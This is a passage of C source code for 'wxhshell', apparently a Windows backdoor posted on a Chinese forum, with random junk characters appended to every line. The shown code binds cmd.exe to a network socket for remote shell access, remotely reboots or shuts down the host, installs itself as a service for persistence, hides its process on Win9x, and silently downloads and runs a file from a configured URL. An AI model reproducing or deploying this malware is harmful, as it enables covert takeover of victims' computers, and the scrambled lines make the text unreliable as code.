      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W\d0  
    break; ^XjvJa  
  } j@kRv@  
  // 安装 0j-F6a*p'1  
  case 'i': { 1q;I7_{ 2  
    if(Install()) 853]CK<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +_vm\]4  
    else ?S;et2f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~:'gvR;x  
    break; J tn&o"C  
    } o(S^1j5  
  // 卸载 ee__3>H"/  
  case 'r': { rd f85%%7  
    if(Uninstall()) ?j},O=JFn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {EiG23!qV  
    else }W Bm%f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Tjtj@-  
    break; *X"F:7  
    } 2n"*)3Qj  
  // 显示 wxhshell 所在路径 X.r!q1_c  
  case 'p': { Qe' PAN=B  
    char svExeFile[MAX_PATH]; 5d!z<{`  
    strcpy(svExeFile,"\n\r"); fb;hf:B:  
      strcat(svExeFile,ExeFile); U O{xpY  
        send(wsh,svExeFile,strlen(svExeFile),0); ]G$!/vXP  
    break; ;NvhL|R  
    } C/grrw  
  // 重启 \, X?K  
  case 'b': { P17]}F``  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $n_sGr  
    if(Boot(REBOOT)) tPMg Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0|f_C3  
    else { qrORP3D@  
    closesocket(wsh); 'RN"yMv7l  
    ExitThread(0); }&'yt97+  
    } |\{J` 5gr  
    break; )aO!cQ{s  
    } \dQ2[Ek  
  // 关机 [{Klv&>_/  
  case 'd': { o9(#KC?3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8tB{rK,  
    if(Boot(SHUTDOWN)) NR@SDW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .5$V7t.t$\  
    else { -qr:c9\px  
    closesocket(wsh); 'p{Y{ $Q  
    ExitThread(0); E!oJ0*@  
    } C$EFh4  
    break; QjT#GvHY  
    } Xl '\krz  
  // 获取shell iI/'! 85  
  case 's': { r.W"@vc>  
    CmdShell(wsh); `04Y ;@w  
    closesocket(wsh); hKH Q!`&v  
    ExitThread(0); (kD?},Z  
    break; Phjf$\pt  
  } >O[^\H!\  
  // 退出 ]mDsUZf<  
  case 'x': { #|2g{7 g*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qoyGs}/I8  
    CloseIt(wsh); g^|_X1{  
    break; O,z%7><  
    } 1tK6lrhj  
  // 离开 d#$i/&gE  
  case 'q': { FCw VVF0 y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2* cKFv{  
    closesocket(wsh); WLA_YMlA  
    WSACleanup(); RdpQJ)3F  
    exit(1); 19.!$;  
    break; ,L;c{[*rh  
        } [pyXX>:M  
  } j4hUPL7  
  } ,_7tRkn  
}F9?*2\/  
  // 提示信息 #)c;i<Q3S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); trNK9@wT)  
} -_H2FlB  
  } ?R~Ye  
1\9BO:<K  
  return; {:q9:  
} #'{PY r  
" kJWWR  
// shell模块句柄 `5aypJf 1  
int CmdShell(SOCKET sock) eWt>^]H~  
{ \6PIw-)  
STARTUPINFO si; g\mrRZ/?  
ZeroMemory(&si,sizeof(si)); SGT-B.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "}Sid+)<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f0s<Y  
PROCESS_INFORMATION ProcessInfo; ^IegR>  
char cmdline[]="cmd"; OA5md9P;d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T;vPR,]rz  
  return 0; &JzF   
} k>@^M]%  
MyS7AL   
// 自身启动模式 ' c\TMb.  
int StartFromService(void) mf_ 9O  
{ 7D1`^,?  
typedef struct 4Fht (B|  
{ 0}3'h#33=  
  DWORD ExitStatus; "VOW V3Z  
  DWORD PebBaseAddress; '%/u103{e  
  DWORD AffinityMask; */m~m?  
  DWORD BasePriority; {?M*ZRO'  
  ULONG UniqueProcessId; Jd_1>p  
  ULONG InheritedFromUniqueProcessId; Ih0> ]h-7  
}   PROCESS_BASIC_INFORMATION; Hr.JZ>~<  
e Eb1R}@  
PROCNTQSIP NtQueryInformationProcess; F1]PYx$X  
${H&Q*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pzp"NKx i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J ##X5'a3*  
'S-"*:$,u  
  HANDLE             hProcess; %b'VEd7  
  PROCESS_BASIC_INFORMATION pbi; wUPywV1UO  
rnrx%Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `e69kBAm  
  if(NULL == hInst ) return 0; MrjB[3Td  
kj"_Y"q=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WX$^[^=HC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 544I#!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u+T, n  
SCC/ <o  
  if (!NtQueryInformationProcess) return 0; :JG}%  
*j;r|P;g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YuW\GSV00  
  if(!hProcess) return 0; g?Ty5~:lq  
:jp$X|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "S} hcAL/  
+mF 2yh  
  CloseHandle(hProcess); aD`e]K ^L  
zEL[%(fnc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ljs(<Gm)-  
if(hProcess==NULL) return 0; p%qL0   
B=xZkc  
HMODULE hMod; &K*_/Q '\  
char procName[255]; ATkqzE`;  
unsigned long cbNeeded; PqeQe5  
2PW3 S{Dt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .aRxqFi_  
1;9E*=  
  CloseHandle(hProcess); uy%PTi+A  
s+t eYL#Zi  
if(strstr(procName,"services")) return 1; // 以服务启动 F4l6PGxF&\  
QU;C*}0Zl  
  return 0; // 注册表启动 K&oO+G^f  
} {.)~4.LhQM  
~}l,H:jk@  
// 主模块 G#M]\)f%  
int StartWxhshell(LPSTR lpCmdLine) VL1z$<vVXt  
{ @"5u~o')@v  
  SOCKET wsl; ^IZ0M1&W;  
BOOL val=TRUE; AR2+W^aM3  
  int port=0; cLF>Jvs*J  
  struct sockaddr_in door; J(*"S!q)6  
jpS#'h  
  if(wscfg.ws_autoins) Install(); VrP%4P+  
?2/M W27w  
port=atoi(lpCmdLine); Bd[}A9O[  
$f\-.7OD  
if(port<=0) port=wscfg.ws_port; vDb}CQ\  
pAL-P l9z  
  WSADATA data; `-\JjMSQ1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Vq;j 1  
`215Llzk;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   he6) L6T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ct33S+y  
  door.sin_family = AF_INET; j;vaNg|vQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5~5ypQj  
  door.sin_port = htons(port); I[Y?f8gJ  
: s3Vl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9e6{(  
closesocket(wsl); mw%_ yDZ{  
return 1; Z@u mbyM  
} gQG iph |  
eT?LMBn\  
  if(listen(wsl,2) == INVALID_SOCKET) { +t6m>IBu  
closesocket(wsl); t, YAk ?}  
return 1; )&-+:u0  
} 3xY]Lqwv  
  Wxhshell(wsl); _P+|tW1  
  WSACleanup(); F`3As 9b:  
pr?(5{BL  
return 0; 9(]j e4Cn  
P;[mw(  
} 4h(Hy&1C  
hQeZI+  
// 以NT服务方式启动 ?uv%E*TU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2F]MzeW  
{ {S~$\4vC!  
DWORD   status = 0; 2J <Z4Ap  
  DWORD   specificError = 0xfffffff; 14zzWzKx  
ShxX[k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5eJd$}Lbc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6Z=H>w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6.=b^6MV  
  serviceStatus.dwWin32ExitCode     = 0; 1j(,VW  
  serviceStatus.dwServiceSpecificExitCode = 0; =jh:0Q<43+  
  serviceStatus.dwCheckPoint       = 0; [Xg"B|FD0  
  serviceStatus.dwWaitHint       = 0; ~:Nyv+g,$  
v}i}pQ\DK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 85]UrwlA4  
  if (hServiceStatusHandle==0) return; vZsVxx99  
<Z[R08 k  
status = GetLastError(); 4[wP$  
  if (status!=NO_ERROR) #a:C=GV;4  
{ N<%,3W_-_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Tl?yG F  
    serviceStatus.dwCheckPoint       = 0; N<WFe5  
    serviceStatus.dwWaitHint       = 0; tDVdl^#  
    serviceStatus.dwWin32ExitCode     = status; Uk4">]oct  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8&bj7w,K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #U6qM(J  
    return; mYvm_t9  
  } <hdCO< 0(  
`$HO`d@0*R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NST6pu\,U  
  serviceStatus.dwCheckPoint       = 0; ~Otf "<  
  serviceStatus.dwWaitHint       = 0; sjGZ ,?%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7\ lb+^$  
} cCs:z   
WBIS  
// 处理NT服务事件,比如:启动、停止 CTYkjeej  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wi<Fkzj  
{ NM]/OKs'H  
switch(fdwControl) lB-7.  
{ n66 _#X  
case SERVICE_CONTROL_STOP: /j As`"U  
  serviceStatus.dwWin32ExitCode = 0; T~Cd=s(T"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' r/1+.  
  serviceStatus.dwCheckPoint   = 0; WDq3K/7\  
  serviceStatus.dwWaitHint     = 0; -M}iDBJx>#  
  { e ^QOn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 25r=Xv  
  } TPuzL(ws  
  return; C'#:}]@E  
case SERVICE_CONTROL_PAUSE: @UX`9]-P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QNY{ p k  
  break; )g9qkQ8q  
case SERVICE_CONTROL_CONTINUE: i^(<E0vS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oZCO$a  
  break; HYS7=[hv6  
case SERVICE_CONTROL_INTERROGATE: !RI&FcK  
  break; 5l#)tX.by  
}; ewY X\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |rQ;|+.  
} "fdG5|NJe  
{H74`-C)W  
// 标准应用程序主函数 < jF<_j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n >'}tT)U  
{ #XZ?,neY  
J$o J  
// 获取操作系统版本 ge|}'QKow  
OsIsNt=GetOsVer(); 4kiu*T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >8Y >B)  
B4C`3@a  
  // 从命令行安装 $Fj7'@1(  
  if(strpbrk(lpCmdLine,"iI")) Install(); dj#<,e\  
o <y7Ut  
  // 下载执行文件 .?qS8:yA  
if(wscfg.ws_downexe) { c<=1,TB"-_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'E9jv4E$n  
  WinExec(wscfg.ws_filenam,SW_HIDE); i \~4W$4I  
} ?`xId;}J#7  
Ty m!7H2  
if(!OsIsNt) { : SNp"|  
// 如果时win9x,隐藏进程并且设置为注册表启动 w[iQndu  
HideProc(); y< 84Gw_  
StartWxhshell(lpCmdLine); 5o?bF3  
} /dAIg1ra  
else YL]x>7T~4t  
  if(StartFromService()) /D12N'VaE  
  // 以服务方式启动 fg2}~ 02n  
  StartServiceCtrlDispatcher(DispatchTable); A+'j@c\&!  
else (+@H !>r$$  
  // 普通方式启动 4s~o   
  StartWxhshell(lpCmdLine); 01J.XfCd6  
d 9|u~3  
return 0; PF~&!~S>W  
}
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只看该作者 1 发表于: 2006-10-10
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